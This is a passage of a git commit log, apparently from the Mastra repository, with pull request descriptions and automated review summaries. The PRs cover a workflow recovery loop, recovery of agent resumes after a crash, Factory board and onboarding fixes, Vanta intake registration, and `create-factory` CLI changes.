An explicit `restartAllActiveWorkflowRuns()` never looks at the row. As
in the previous PR, each booting instance restarts its own stopped
default-engine runs (joining its own pass in flight), so another app's
workflows on the same store are recovered at its boot, and runs
recovered after a redeploy spread over the booting instances. Without
run fencing there is no leader and no loop, and the call restarts every
active run as before.

A failed probe, `getStore` or claim skips that tick and the loop keeps
going. A probe that answers "no fencing" stops the loop for good.

### Timings

- Interval: `recovery.workflowScanIntervalMs`, 60 s by default, each
wait up to 20 % shorter or longer, capped at 2^31 - 1 ms.
- A pass that saw a run in its grace period (and not live) moves the
next pass to that run's due time, no sooner than 1 s later and up to 20
% past it.
- A crashed instance's run is restarted about
`MASTRA_AGENT_THREAD_LEASE_TTL_MS` (15 s) plus `workflowGraceMs` (2 s)
after the crash, plus up to one interval for the next pass. When the
crashed instance was the leader, add up to one more interval for a
follower to take the row.
- `shutdown()` stops the loop when it starts, waits within
`drainTimeout` for the pass in flight and the restarts it handed out,
and releases the row in `stopWorkers()`.

### Config

```ts
const mastra = new Mastra({
  recovery: { workflowScanIntervalMs: 30_000 },
});
```

`recovery.workflows: 'off'` turns the loop off. `workers: false`, or a
`MASTRA_WORKERS` filter without `orchestration`, runs no loop. An
instance that registers no default-engine workflow to recover never
claims the leader row.

### LibSQL thread state writes

`@mastra/libsql` thread state writes (`setState`, `deleteState`) now
take the client write lock the store's other writes take. Without it, on
a local database file, a thread state write that ran while the same
store held a write transaction open (a lease claim or renewal) failed
with `SQLITE_BUSY`; the leader's renewals made that much more likely.

### Known limits

- A process that calls `restartAllActiveWorkflowRuns()` but never
`startWorkers()` runs no loop and doesn't recheck the runs it left
alone. A run its boot call found live or in its grace period is left to
the loop of another instance, if any.
- A leader whose renewals fail for longer than the lease TTL can run
passes alongside the new leader for up to one renew interval after the
store answers again. The run lease still prevents a run from being
restarted twice.
- Between boots, the loop recovers only the workflows the leader
registers. Instances that register different workflows on one store get
loop recovery for the leader's workflows only, and the others' runs at
their next boot.
- A run the loop restarts executes on the leader.
- A `mastra worker` process calls `stopWorkers()` on `SIGTERM` and exits
without `shutdown()`, so its default-engine runs wait as long as a
crashed instance's.
- A run that another instance won between the pass's lease read and
`restart()` is looked at again only at the next pass, up to one interval
later.
- Rolling deploys are out of scope for this stack.

### Tests

New `recovery-loop.test.ts` (in-memory store, 600 ms lease TTL):

- a crashed leader's run is restarted by the follower with no boot,
within TTL + 2 intervals + 1.2 s
- instances started together run passes on one of them, and the leader
keeps the row while passes are further apart than the lease TTL
- the leader's `stopWorkers()` releases the row and the follower takes
over
- a tick that `stopWorkers()` overtook (on the first tick's store read,
or on a later tick's probe) claims no row, so another instance can lead
- a stopped run of a workflow only another app registers is restarted by
that app's boot call while a different instance leads, and the leader's
loop never lists that workflow
- next-pass timing table (no run, live run, run in grace, grace ending
within 1 s), timers unref'd
- no listing after `stopWorkers()`; `shutdown()` waits for a pass in
flight
- a loop on `startWorkers('orchestration')`
- the loop keeps going after a failed probe, leader claim, listing or
restart
- no listing and no claim with `workflows: 'off'` or without run fencing

The recheck cases of `restart-active-runs-ownership.test.ts` and
`restart-active-runs-rule.test.ts` are gone with the rechecks: the crash
case covers a crashed owner, the failure table covers transient errors,
and the existing shutdown and limiter cases cover draining and
`workflowConcurrency`. The LibSQL cross-process cases and the MCP
survivor cases boot like a server (`startWorkers()`, then the explicit
call) and recover through the loop.

Checks: core `src/workflows src/mastra src/agent/durable src/events`
(only the two `scheduler.test.ts` retry cases that fail outside UTC),
core typecheck, LibSQL cross-process, Postgres and LibSQL
`recovery-pass.test.ts`, MCP `server-tasks-background`.

## Related issue(s)

Part of #28712. Stack 4 of 4, on top of the recovery pass PR.

## Type of change

- [ ] Bug fix (non-breaking change that fixes an issue)
- [x] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [x] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [x] Test update

## Checklist

- [x] I have linked the related issue(s) in the description above
- [x] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: Sometimes a workflow run stops when its server crashes. This
change adds a background check. One server regularly looks for stopped
runs and restarts them, so the work can finish without a manual restart.

## Overview

This change adds a workflow recovery loop to `@mastra/core`.
`startWorkers()` starts the loop. Among instances that share a store,
only the leader runs default-engine passes. A pass restarts
default-engine runs in `running` or `waiting` status when:

- no instance holds the run lease, and
- the configured grace period has elapsed.

The loop excludes evented runs. Explicit
`restartAllActiveWorkflowRuns()` calls handle evented runs and are not
leader-gated.

The change also updates LibSQL thread-state writes. `setState` and
`deleteState` now run through `withClientWriteLock`.

## Key changes

- `packages/core/src/mastra/index.ts`
- Adds `workflowScanIntervalMs` to `MastraRecoveryConfig`. The default
is 60000 ms. Values are capped at `2 ** 31 - 1`. A value of `-1`
resolves to the default.
- `startWorkers()` starts the loop when the selected workers handle
workflow events and recovery is enabled.
- When workflows use run fencing, the loop elects a leader through a
renewable lease. If fencing is unsupported, the loop stops.
- A pass records the earliest due time for runs still in their grace
period. The loop can then scan sooner.
- Failed lease reads leave runs for a later pass. Restart failures are
tracked per engine.
  - Per-run recheck, retry, and backoff logic is removed.
- `stopWorkers()` stops the loop and releases the leader lease. Shutdown
waits for an in-flight pass.
- Explicit `restartAllActiveWorkflowRuns()` calls share an in-flight
default-engine pass. Broker-redelivered evented runs stay broker-owned,
except process-local scheduled runs.
- `packages/core/src/workflows/run-ownership.ts`
- `repeatAfterSettled` accepts a function for the delay and an optional
`immediately` flag.
- Signature changes from `(tick, intervalMs: number)` to `(tick,
intervalMs: number | (() => number), options?)`.
- `stores/libsql/src/storage/domains/thread-state/index.ts`
- `setState` and `deleteState` use `withClientWriteLock`. SQL,
arguments, and error handling are unchanged.
- Tests
- Adds `packages/core/src/mastra/recovery-loop.test.ts`. It covers
leadership, scheduling, shutdown, and failure handling. The file is
added to `vitest.isolated-tests.ts`.
  - Removes three tests from `restart-active-runs-ownership.test.ts`.
- In `restart-active-runs-rule.test.ts`, removes one test and rewrites
the lease-read failure test to use the loop.
- Updates the recovery-defaults test, the MCP background server test,
and two LibSQL cross-process tests for the new scan interval.
- Adds a LibSQL thread-state test. It holds a write transaction open
during `setState` and `deleteState`.
- Documentation and changesets
- Updates the workers, server-adapter, workflow overview, and
`mastra-class` reference pages. Adds a "Recovery loop" section to the
workflow overview.
  - Corrects the crash-recovery text in the workers page.
  - Adds changesets for `@mastra/core` and `@mastra/libsql`.

## Public API changes

- Adds `workflowScanIntervalMs?: number` to `MastraRecoveryConfig`.
- Changes the signature of `repeatAfterSettled` in `run-ownership.ts`.

## Scope

- 19 files changed. 1028 lines added and 379 removed.

## Verification status

- Review findings: not available. No current review findings were
supplied.
- Author-reported checks: the PR objectives list core tests, core
typecheck, LibSQL cross-process tests, Postgres and LibSQL
`recovery-pass.test.ts`, and MCP `server-tasks-background`. These are
author reports. Results on the current head were not available for this
summary.
- Known failures: the author reports that two `scheduler.test.ts` retry
cases fail outside UTC.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-13 18:15:40 -03:00
Arthur Fiorette
6d14d0edc4
feat(core): recover an agent resume whose process died (#30330)
## Description

`approveToolCall()`, `declineToolCall()`, and `resumeStream()` kept the
decision in the memory of the process handling the resume. If that
process died after claiming the run and before the run finished, the
decision was gone: the run stayed claimed, nothing in storage could
finish it, and the thread kept showing the approval as pending.

Every resume claim now writes `resumeClaimIntent` (the resume data and
the targeted `toolCallId`) in the same compare-and-set that stamps
`resumeClaimedAt`. The new `agent.recoverResume({ runId })` reads that
intent and finishes the run through the existing takeover rules, so it
only takes over an abandoned claim (judged by claim age or lease expiry,
as for any takeover).

- The replay keeps the original target. A resume without a `toolCallId`
resumes every parked call, so storing the data alone would apply one
answer to sibling calls.
- A recovery only takes over the exact claim whose intent it read. If a
newer resume claimed the run in between, the recovery rejects with
`AGENT_RESUME_ALREADY_CLAIMED`, so a stale decision never overrides a
newer one.
- `resumeStream(undefined, ...)` keeps its meaning. Recovery is opt-in
through `recoverResume()`, which rejects with
`AGENT_RESUME_NOTHING_TO_RECOVER` when no resume claimed the run.
- No adapter changes: every adapter merges `updateWorkflowState` options
into the stored run, the same way `resumeClaimedAt` is stored.

`DurableAgent` has its own claim and is not covered here.

Supersedes #30321, which stored the data without its target and applied
a recovered answer to every parked tool call.

## Related issue(s)

Fixes #30285

## Type of change

- [x] Bug fix (non-breaking change that fixes an issue)
- [x] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [ ] Test update

## Checklist

- [x] I have linked the related issue(s) in the description above
- [x] I have made corresponding changes to the documentation (if
applicable)
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** When a program stops during a user's approval, the approval
can be lost. This change saves the user's answer with the run. A new
recovery method can then finish the run without asking the user again.

## Overview

This change adds `agent.recoverResume({ runId })`. It replays a resume
that was claimed but not finished, for example after the process that
handled it stops.

## Behavior

- A resume claim stores `toolCallId` and `resumeData` in
`resumeClaimIntent`, together with `claimedAt`.
- The claim write sets `resumeClaimedAt` and `resumeClaimIntent` in one
update object. The code confirms that both fields are written together.
The storage layer's atomicity is not verified in this change.
- `recoverResume()` reads the stored intent. It takes over only the
claim whose `claimedAt` matches the snapshot's current
`resumeClaimedAt`.
- Recovery re-reads the run after it hands the run back. If the run no
longer carries the claim that recovery read, recovery fails with
`AGENT_RESUME_ALREADY_CLAIMED`. A newer pending claim can still be
displaced by the hand-back. That claim then fails in `start()`, and the
older decision does not run.
- If no resume has claimed the run, `recoverResume()` fails with
`AGENT_RESUME_NOTHING_TO_RECOVER`.
- `resumeStream(undefined, ...)` keeps its existing meaning. Recovery
runs only when a caller calls `recoverResume()`.
- The stored `toolCallId` targets one call. A recovered answer applies
only to that call, not to sibling parked calls.
- Recovery supports storage without run fencing for claims that never
started. This matches other takeovers.

## Documented takeover rules

The documentation states that recovery takes over a claim when either
condition holds:

- The claim was not started for 60 seconds.
- The run-fencing lease was not renewed for 60 seconds.

The documentation also notes that the resumed tool call runs again and
can repeat side effects.

## Changes by area

- **Core agent (`packages/core/src/agent/agent.ts`):** Adds
`recoverResume()`. Stores resume intent on each claim write. Passes
resume data into claim creation from `resumeStream()` and
`resumeGenerate()`. Adds the recovery path to the shared stream-resume
flow.
- **Until-idle helper
(`packages/core/src/agent/stream-until-idle.ts`):**
`runResumeStreamUntilIdle` accepts an optional `resume` callback for the
first turn. Without it, the function calls `agent.resumeStream` as
before. Continuation behavior is unchanged.
- **Types (`packages/core/src/workflows/types.ts`,
`packages/core/src/storage/types.ts`):** `WorkflowRunState` gains an
optional `resumeClaimIntent` with `claimedAt`, `toolCallId?`, and
`resumeData?`. `UpdateWorkflowStateOptions` accepts `resumeClaimIntent`.
- **Tests
(`packages/core/src/loop/test-utils/aimock/scenarios/resume-claim-after-crash.scenario.test.ts`):**
Adds parallel suspended tool-call support. Adds recovery tests for:
  - Replaying a dead claimant's decision.
  - Targeting only the answered call.
  - Keeping a newer decision when recovery runs late.
  - Refusing to recover a live claim.
  - Returning `AGENT_RESUME_NOTHING_TO_RECOVER` when no decision exists.
- **Documentation and changeset:** Adds a section on recovering a
decision after a crash. The changeset declares a minor release for
`@mastra/core`.

## Scope and limits

- `DurableAgent` is not covered.
- No storage adapter changes are required.
- Public API addition: `recoverResume()` on `Agent`.

## Relation to linked issue

The linked issue asks that approval decisions survive a crash after a
claim. This change persists the decision with the claim and replays it
through `recoverResume()`. It does not add a separate
`getPendingResume(runId)` helper.

## Verification

- CI and test results: not available. No completed check results were
supplied for the current head.
- Review severity counts: not available.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-13 17:42:51 -03:00
mastra-platform[bot]
86e39925a0
fix(factory): stop offering PRs attached to issue cards as new Intake items (#30337)
> Opened by @roaminro

## Summary

When Factory builds an issue and opens a pull request, the PR is
attached to the issue card, and that card moves to Review. But the same
PR also showed up in the board's Intake column as a new item. It looked
like a duplicate card, but it had no activity, no sessions, and no link
to the issue card. Dragging it into a phase would have created a real
second card for the same PR.

The Intake column lists open GitHub issues and PRs that aren't on a card
yet. Before showing an item, the board asks whether a card was already
"filed from" it. That check compared only a card's **primary** source,
so it never matched a PR attached to an issue card.

The fix counts every source on a card as filed, in both places the check
runs:
- **Server** (`cardsFiledFrom` in
`mastracode/factory/src/routes/work-item-selection.ts`): the `?source=`
lookup now also matches attached sources, by external id (with the
stored type prefix removed via `sourceExternalId`) or by URL.
- **Board** (`persistedSourceKeys` in
`mastracode/factory-ui/src/ui/domains/factory/boardItems.ts`): attached
sources' ids and URLs are added to the keys used to hide already-filed
items.

## Test plan

- [x] New route test: an issue card with an attached PR is returned when
the lookup names the PR by id or by URL, and not for a different PR. It
fails without the server change.
- [x] New board test: an attached PR is recognised as filed by key and
by URL, and an unrelated PR is not. It fails without the UI change.
- [x] `vitest` on `work-items.test.ts` (`filed from` block) and
`boardItems.test.ts`
- [x] `tsc --noEmit` for `@mastra/factory` and the factory UI
(`src/ui/tsconfig.json`), plus oxlint and prettier on the changed files
- [ ] Manual check: have Factory open a PR from an issue card, and
confirm the PR doesn't appear in Intake

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

ELI5: When someone attaches a pull request to an issue card, the board
could also show that pull request as a new item in the Intake column.
This change stops that duplicate from appearing.

## Overview

This change makes attached pull request sources count as "already filed"
in two places:

- The server lookup in `cardsFiledFrom`.
- The board key set built by `persistedSourceKeys`.

Before this change, both checks used only each card's primary source.
Attached sources were not checked.

## Changes

- `mastracode/factory/src/routes/work-item-selection.ts` (+11/-4):
`cardsFiledFrom` also matches source identifiers and URLs from each
card's `workItem.sources`. It keeps the existing checks on the external
source ID, external source URL, and work-item URL.
- `mastracode/factory-ui/src/ui/domains/factory/boardItems.ts` (+6/-0):
`persistedSourceKeys` imports `sourceExternalId`. It adds each attached
source's external ID and, when present, its URL to the persisted keys.
- `mastracode/factory/src/routes/work-items.test.ts` (+20/-0): Adds a
listing test. Querying by an attached pull request's external ID or URL
returns the issue card. An unmatched pull request ID returns no cards.
- `mastracode/factory-ui/src/ui/domains/factory/boardItems.test.ts`
(+48/-0): Adds a `persistedSourceKeys` test. An attached pull request
matches by source key or URL. A different pull request does not match.
- `.changeset/quiet-prs-stay-home.md` (+5/-0): Adds a patch changeset
for `@mastra/factory`.

Totals: 5 files changed, 90 lines added, 4 lines removed.

## Verification

- Author-reported: new route and board tests, `vitest` runs on the
`filed from` block in `work-items.test.ts` and on `boardItems.test.ts`,
TypeScript checks for `@mastra/factory` and the factory UI, and oxlint
and prettier on changed files.
- Not verified in this review: I did not run these checks. Results for
the current head are not available from this review.
- Not completed: the manual check of creating a pull request from an
issue card and confirming it does not appear in Intake.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-13 20:08:53 +00:00
mastra-platform[bot]
4349c272ec
feat(factory-ui): list the onboarding repository as an issue source in the Work step (#30273)
> Opened by @wardpeet

Factory onboarding's **Work** step ("Where new issues come from") listed
only Linear, Jira and incident.io. The GitHub repository or GitLab
project picked in the codebase step is now listed there too, with a
switch that is on by default: its open issues feed the Work board as
soon as setup finishes, and turning the switch off brings none of them
in. Nothing new to connect — the repository was already chosen — so the
switch only decides whether it feeds the board. GitHub and GitLab are
handled the same way: once the Factory exists and the repository is
linked, setup selects it as an issue source (GitLab additionally gets an
intake binding routing the project to the new Factory), and if that
fails setup still finishes with an "Issues won't sync yet" warning
pointing to Settings › Work Intake. A failed link still blocks setup, as
before.

## Checks on `6d1f00a047`

| Check | Result | Tests |
| --- | --- | --- |
| Typecheck | ✅ Passed | `tsc --noEmit -p src/ui/tsconfig.json` |
| Lint | ✅ Passed | `oxlint --type-aware` on the changed files |
| Build | ✅ Passed | `vite --config src/vite.config.ts build` |
| Unit tests | ✅ Passed | 67 files, 683 tests |
| Changed suites (MSW) | ✅ Passed | OnboardingModelSection 38,
EmptyFactoryState 35, ProjectManagementFactoryStep 15, FactoryRootRoute
8, onboardingIntake 9, OnboardingWorkRow 4, OnboardingPreview 3 |
| Whole MSW project | ❌ Failed | 246 files / 2032 tests, 9 failed in
`AppStartup.msw.test.tsx` and `ThreadPageTeammateSession.msw.test.tsx`;
the same 9 fail on base `175b4b51`, so they are not this branch's tests
|
| New tests on base code | ✅ Passed | `onboardingIntake.msw.test.tsx`
cannot load on base: it imports `../onboardingIntake`, which this branch
adds |

The intake behavior was reproduced against the server code rather than
the UI alone: the linked repository is written into
`config.github.sourceIds` / `config.gitlab.sourceIds`, and the board
reads it back with `config.github.sourceIds?.includes(slug) ?? false`,
so `null` means "nothing selected" and switching the row off imports
nothing.

Adversarial check: tried to break it through the no-repository path (the
row is not rendered, `codeHostOn` stays false), the `sourceIds: null`
reading in `useBoardIntake` / `intake/base.ts`, the concurrent writes
inside the completion `Promise.all`, and the binding-before-selection
order for GitLab; none produced a defect.

## Follow-ups

- `useCompleteFactorySetup.ts:122` — `// Read from the raw draft: the
completion schema strips fields it doesn't know.` is written twice in a
row; one copy is enough.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** During setup, a user can link a GitHub repository or GitLab
project and choose whether its issues feed the Work board. The choice is
on by default. Turning it off keeps that project's issues off the board.

## Overview

This change adds the GitHub repository or GitLab project selected in the
onboarding codebase step as an issue source in the Work step. A switch
controls this source. The switch is on by default.

- Enabled: after the Factory is created and the repository is linked,
setup runs `applyCodeHostIntake`. It selects the repository as the issue
source in intake config. For GitLab, it first saves an intake binding
that routes the project to the new Factory.
- Disabled: the repository link call passes `selectIntake: false`. Setup
makes no intake call.
- Setup shows a general "Issues won't sync yet" warning for any intake
failure, on either host. The warning points users to Settings › Work
Intake. Setup still completes.

## Changes by area

**Setup and persistence**
- `onboardingFlow.ts` adds an optional `codeHostSync` boolean to the
onboarding draft schema. Only an explicit `false` disables sync. Drafts
without the field keep the default (on).
- `useOnboardingModelSetup.ts` adds `draft.codeHostSync` to the
effective draft.
- `useCompleteFactorySetup.ts` reads `codeHostSync` from the raw draft,
because the completion schema strips unknown fields. It passes
`selectIntake: false` to the repository link call when sync is off. When
sync is on, it calls `applyCodeHostIntake` alongside the Factory and
default-model updates. Intake failures show a warning. The file has a
duplicated comment at line 122, which the PR description lists as a
follow-up.
- `onboardingIntake.ts` adds `applyCodeHostIntake(baseUrl, {
factoryProjectId, repository })`. For GitLab, it saves a binding with
the repository ID and Factory project ID, then fetches intake config and
selects the source. For GitHub, it selects the repository by full name
and writes no binding. It writes the selection only when it differs from
the current value.
- `useFactories.ts` adds an optional `selectIntake` input to
`useLinkRepositoryMutation`. It defaults to `true`. When `false`,
linking still registers and connects the repository, calls `onLinked`,
and refreshes factory repositories. It skips the intake config fetch and
the GitHub or GitLab selection update. When `true`, the existing
selection behavior runs.

**Source types**
- `useWorkSourceConnections.ts` adds `CodeHostSource = 'github' |
'gitlab'` and `BoardSource = WorkSource | CodeHostSource`. It adds
`isCodeHostSource`. `WORK_SOURCE_NAME` now covers `BoardSource` and
includes GitHub and GitLab display names.

**UI components**
- `OnboardingCodeHostRow.tsx` (new): shows the repository host icon,
name, and sync description. It has a switch bound to `enabled`. The
switch is disabled when `onEnabledChange` is not provided.
- `ProjectManagementFactoryStep.tsx`: `onPreviewSource` accepts
`BoardSource`. New optional props are `repository`, `codeHostSync`, and
`onCodeHostSyncChange`. When a repository is present and `codeHostSync`
is not `false`, the code host counts as connected. When a repository is
present, the step renders `OnboardingCodeHostRow`.
- `OnboardingWorkRow.tsx`: adds `OnboardingWorkRowProps` with
`confirmed`, `repository`, and `codeHostSync`. The unconfirmed hint
lists GitHub and GitLab. The confirmed row passes the repository and
sync setting to `OnboardingWorkDoneRow`.
- `OnboardingWorkDoneRow.tsx`: accepts `repository` and `codeHostSync`.
When sync is enabled, the summary starts with the host name, followed by
connected source names. When no names are available, it shows "Set up
later."
- `OnboardingIntakePreview.tsx`: accepts `BoardSource` and an optional
`repository`. For code-host sources, it shows "Connected" only when a
repository is supplied and its host matches the source. Other sources
use the existing connection status. A follow-up commit changes GitLab
issue references in the preview from `!` to `#`.
- `OnboardingPreview.tsx`: `repository` uses `SourceControlRepository`.
`source` uses `BoardSource`.
- `FactoryOnboarding.tsx`: the preview source state uses `BoardSource`.
The project-management step receives the repository and sync setting.
Changes to the sync setting update the onboarding draft.

**Changeset**
- Adds a patch changeset for `@mastra/factory`.

**Tests**
- Adds `onboardingIntake.msw.test.tsx` (95 added lines). It covers these
cases:
  - GitHub selects the repository in config and writes no binding.
  - An already-selected GitHub repository causes no config write.
- GitLab writes a binding for the new Factory, then selects the project
in config.
- Updates `EmptyFactoryState.msw.test.tsx` (121 changed lines),
`OnboardingWorkRow.msw.test.tsx`,
`ProjectManagementFactoryStep.msw.test.tsx`,
`FactoryRootRoute.msw.test.tsx`, and `onboardingFlow.test.ts`.
- Coverage includes the sync-off path, GitLab binding routing, and the
"Continue" flow.

## Verification status

These results come from the PR author. This review did not re-run them.

- Reported passed: `tsc --noEmit -p src/ui/tsconfig.json`, `oxlint
--type-aware` on changed files, and `vite --config src/vite.config.ts
build`.
- Reported passed: unit tests (67 files, 683 tests) and the listed
changed MSW suites.
- Reported failing: 9 tests in the full MSW project, in
`AppStartup.msw.test.tsx` and `ThreadPageTeammateSession.msw.test.tsx`.
The author reports the same failures on base `175b4b51`.
- The author reports that `onboardingIntake.msw.test.tsx` cannot load on
base, because that branch lacks `../onboardingIntake`.
- The author reports server-side intake checks for the no-repository,
null-source, concurrent-write, and GitLab ordering cases. No defects
were found. This review did not verify that claim.
- Review severity counts: not available.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-13 14:44:22 -05:00
mastra-platform[bot]
a549103036
fix(factory-ui): keep attached PR icon beside the source icon in board list rows (#30335)
> Opened by @roaminro

## Summary
In the Factory board's list view, a work item with an attached pull
request (e.g. a GitHub issue with a linked PR) showed its source icon
and PR status icon stacked vertically, because the row's icon cell is a
grid with no column template.

- The pair is now wrapped in its own flex row (6px gap, same as the card
view), so the PR icon sits next to the source icon. The card view looks
the same as before.
- The list row's icon column now has a fixed width that fits both icons,
so keys and titles line up across rows with and without an attached PR
(an `auto` column let two-icon rows shift right). The loading skeleton
shares the same template.

## Test plan
- New MSW test in `BoardPageWorkPullRequest.msw.test.tsx`: the PR status
icon and source icon share a flex row (fails on `main`, passes here)
- New Playwright test in `e2e/board-list-row-layout.spec.ts` (desktop +
tablet): every row's key cell starts at the same offset when one row
carries an attached PR (fails with the `auto` column, passes here)
- `pnpm typecheck`, `oxlint` on changed files
- `vitest` on `BoardPageWorkPullRequest`, `BoardListRow*`,
`BoardPageGroupedList` (25 passed)

Note: the existing "keeps the review verdict clear…" test in
`board-list-row-layout.spec.ts` was already failing on `main`. Its stubs
and fixtures had drifted from the app. This PR adds the missing
`feed-events` stub and keeps the fixtures' work item titles in sync, but
that test still fails because the self-review verdict text it looks for
doesn't render. Fixing it is outside this change.

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-13 14:23:54 -05:00
Abhi Aiyer
3418b29032
fix(factory): auto-register Vanta intake with Platform credentials (#30284)
## Summary
- Automatically register the Platform Vanta integration when Platform
credentials are configured, matching incident.io, Jira, and Linear.
- Preserve an explicitly configured Vanta integration instead of
replacing it.
- Add regression tests for automatic registration and explicit
overrides, plus a Factory patch changeset.

This lets applications such as Shipyard expose Vanta intake without
registering Vanta separately.

## Test plan
- `pnpm --filter ./mastracode/factory exec vitest run
src/factory.test.ts -t Vanta --reporter=dot` (2 passed)
- `pnpm --filter ./mastracode/factory exec tsc --noEmit -p
tsconfig.json`
- `pnpm --filter ./mastracode/factory exec oxlint --type-aware
src/factory.ts src/factory.test.ts`

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** The app now connects to Vanta on its own when Platform login
details are set. Vanta data is used only when it is complete and belongs
to the right company. A manual Vanta setup still wins over the automatic
one.

## Summary

This pull request makes `MastraFactory.prepare()` register the Platform
Vanta integration automatically when Platform credentials are
configured. This matches the existing automatic registrations for
incident.io, Jira, and Linear. An explicitly supplied `vanta`
integration takes precedence. The default is not added in that case.

The pull request also changes how Vanta vulnerability data is loaded and
attributed to organizations. A snapshot is now computed per
organization. If a snapshot cannot be reconciled safely, it is returned
as `null`. The sync then skips ingestion for that organization.

### Changes by file

- `mastracode/factory/src/factory.ts` (+4, -0): When Platform
credentials are set and no integration with ID `vanta` is supplied,
`prepare()` dynamically imports and adds `PlatformVantaIntegration`.
- `mastracode/factory/src/factory.test.ts` (+46, -0): Adds `prepare`
tests for Platform Vanta registration:
  - With an access token, the routes include `/web/vanta/status`.
- With the access token and secret key both empty, the routes do not
include it.
- With an explicit Vanta integration and an access token, its custom
route is included and the Platform status route is absent.
- `mastracode/factory/src/integrations/platform/vanta/integration.ts`
(+26, -12):
- `PlatformIntegrationConnection` gains a nullable project `resourceId`.
- `listVulnerabilities` accepts an optional connection list. Without it,
the method fetches all connections. It throws if a selected connection
is not active.
- Pagination throws when a page reports another page but has no cursor.
It also throws when the page limit is reached before the snapshot
completes.
- New `listVulnerabilitiesForOrg(orgId, projects)` attributes
connections to organizations through project resource IDs. It returns
`null` when:
    - a connection references an unknown project;
    - unscoped connections exist across multiple organizations;
    - the organization has no owned connections; or
    - an owned connection needs reauthorization.
- Otherwise, it fetches vulnerabilities from the owned active
connections.
- The worker passes the organization ID and all projects to this method.
-
`mastracode/factory/src/integrations/platform/vanta/integration.test.ts`
(+81, -2): Replaces the earlier pagination tests and helper with
reconciliation tests. These cover:
  - use of only the owning organization's connection;
- `null` results for `needs_reauth`, a global connection spanning
multiple organizations, and an unrecognized resource scope;
  - acceptance of a global connection for one organization;
- rejection with `Incomplete Vanta vulnerability snapshot` at the page
cap and when a cursor is missing.
- `mastracode/factory/src/integrations/vanta/sync.ts` (+18, -11):
- `VantaVulnerabilityLister` now takes an `orgId` and returns
`VantaVulnerability[] | null`.
- `createVantaSync` checks intake eligibility and project bindings
before it loads vulnerabilities.
  - It loads and maps one snapshot per eligible organization.
  - It skips ingestion when the snapshot is `null`.
- It increments `checked` by the snapshot length for successful ingests.
- `mastracode/factory/src/integrations/vanta/sync.test.ts` (+34, -1):
Adds tests showing that:
- a `null` snapshot is loaded once for two projects in one organization,
yields zero projects and zero checked, and is not ingested;
- when projects belong to different organizations, each ingestion input
contains only its organization's snapshot.
  - Imports `vi` for the mock assertions.
- `.changeset/modern-turtles-fix.md` (+5, -0): Adds a patch changeset
for `@mastra/factory`.

### Public API

- The exported type `VantaVulnerabilityLister` changes from `() =>
Promise<VantaVulnerability[]>` to `(orgId: string) =>
Promise<VantaVulnerability[] | null>`. Callers that pass a lister must
accept the `orgId` argument and handle `null`.
- The public method `listVulnerabilities` gains an optional
`connections` parameter.
- The public method `listVulnerabilitiesForOrg` is new.

### Verification

The PR author reports these checks. They were not re-run or confirmed
for this summary:
- `vitest run src/factory.test.ts -t Vanta`: reported as 2 passed.
- `tsc --noEmit -p tsconfig.json`: reported, result not stated.
- `oxlint --type-aware` on `factory.ts` and `factory.test.ts`: reported,
result not stated.

### Scope

Total: 7 files, +214 lines, -26 lines.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
2026-11-13 11:10:54 -08:00
mastra-platform[bot]
0109a03015
refactor(create-factory): drop --name and harden current-directory setup (#30348)
> Opened by @DSchau

## Summary
Follow-up to #30338 and #30343, before either ships in a
`create-factory` release.

**Drop `--name`.** The positional `[project-name]` already covers the
project name, for people and for agents. Having a second flag for the
same value only added a conflict error. The flag hasn't been released,
so its changeset is removed too, and the README example now uses the
positional name. `--org`, `--region` and `--no-platform` are unchanged.

**Harden setting up in the current directory** (from CodeRabbit's review
of #30343):
- When the target directory already exists and is empty, the template is
now staged inside it instead of next to it. This means setup no longer
needs write access to the parent directory, and moving the files can't
fail with `EXDEV` when the target is a mount point. The staging
directory is skipped when the target is checked for emptiness, and it's
removed afterwards.
- If the name typed at the prompt can't be checked (for example
`a-file/child`, which gives `ENOTDIR`), the prompt now shows "can't be
used as a project directory" instead of throwing out of the validator.
- The current-directory changeset now has a usage example. It no longer
mentions `.` or `--name ""`.

## Test plan
- [x] In `mastracode/mastra-factory`: `pnpm check`, `pnpm lint` and
`pnpm test` all pass (62 tests).
- The current-directory test now checks that degit cloned into a staging
directory inside the target and that no staging directory is left
behind.
  - The non-empty-directory prompt test checks the `ENOTDIR` message.
- [x] Built CLI checks:
  - `--help` no longer lists `--name`.
  - `create-factory a --name b` exits with "unknown option '--name'".
- `create-factory . --no-platform` in an empty directory set the project
up in place, with the package name taken from the directory.

